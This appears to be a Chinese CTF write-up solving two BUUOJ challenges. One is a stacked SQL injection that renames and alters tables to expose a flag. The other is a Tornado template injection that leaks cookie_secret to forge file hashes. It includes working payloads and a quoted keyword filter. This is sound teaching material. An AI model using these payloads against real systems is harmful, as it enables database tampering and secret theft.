Buuoj|[强网杯2019]随便注、[护网杯 2018]easy_tornado

0x01 [强网杯2019]随便注

知识要点

  • SQL堆叠注入

  • 一些精妙的思路

·思路

随便提交一个参数,得到回显,输入的参数以URL参数的形式传入http://bae67c64-10af-4353-a896-24763719a200.node3.buuoj.cn/?inject=1,需要判断一下注入点的存在与否和注入点的类型。

先试着输入1',直接报错

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

当再次输入1'#,没有报错正常显示,说明后端存在数据库查询且我们的输入能够影响到数据库查询,直接尝试进行union注入,但是得到提示

return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

输入会被大小写不敏感地检测并屏蔽。也许可以考虑绕过,但是对于语句本身的绕过小技巧基本没什么作用,对于url传入数组让preg_match返回NULL的无谓尝试也会被报错返回。

1
Warning:  preg_match() expects parameter 2 to be string, array given in /var/www/html/index.php on line 19

只能考虑不使用被屏蔽的sql关键字来进行注入,这时候可以微妙的发现show和一些DML语句并没有被屏蔽,于是考虑到堆叠注入(这个心路历程是我猜的,我也不知道出题人有没有提示)

先用SHOWDESC语句将表名和表的结构弄清楚

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

payload:1';show tables;#

payload:1';desc words;#

payload:1';desc `1919810931114514`;# //这里因为表名是一串纯数字,所以要记得用反引号括起来

1919810931114514(
flag varchar(100)
)



words(
id int(10)
data varchar(20)
)

但是只是用show没法看到flag。可以考虑换种思路,把含有flag的表添加一行id,然后将这个表改名为words,而将words表改成其他名字,这样前端查询出来的就是含有flag的表的内容。
payload:

1
2
1';alter table `1919810931114514` add id int(10) not null primary key auto_increment;alter table `1919810931114514` change flag data varchar(100);rename table words to words1;rename table `1919810931114514` to words;#

0x02 [护网杯 2018]easy_tornado

知识要点

  • SSTI服务器模板注入

  • Python tornado web框架

解题思路

题目中有提示是tornado框架编写的python应用

先交互一下看看网站功能,一上来给了三个文件

1
2
3
/flag.txt
/welcome.txt
/hints.txt

访问一下发现访问的方式都是由file路由提供的,需要提供参数filenamefilehash,在hints.txt中了解到filehash = md5(cookie_secret+md5(filename)),又在flag.txt中了解到flag在文件/fllllllllllllag

当我们不提供filehash参数或者随便提供一个错误的hash值时,会自动跳转到http://e0cf92bb-4eec-4b46-aef3-7c594de3e4ee.node3.buuoj.cn/error?msg=Error并且前端打印出Error

对于我们每一个能够控制的参数都检查试试,发现我们可控的msg参数会打印在前端

由于tornado的前后端交互使用的是模板引擎,所以可以考虑一下服务器端的模板注入,可以构建一个填充表达式来尝试验证是否存在注入

?msg={{1}},前端回显1,证实存在模板注入

需要知道的一点是,cookie_secret是tornado框架中Application对象的setting数组的一个可设置项,具体可以参考tornado.web — RequestHandler and Application classes — Tornado 6.0.4 documentation

然而在如何使用settings字典时卡住了,网上的师傅们给的解释是

`handler 指向RequestHandler

而RequestHandler.settings又指向self.application.settings

所有handler.settings就指向RequestHandler.application.settings了`

指定参数msg={{handler.settings}},得到cookie

1
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '877a5add-44e4-414c-8600-36b9a5cf61b3'}

进行hash之后,输入参数访问,得到flag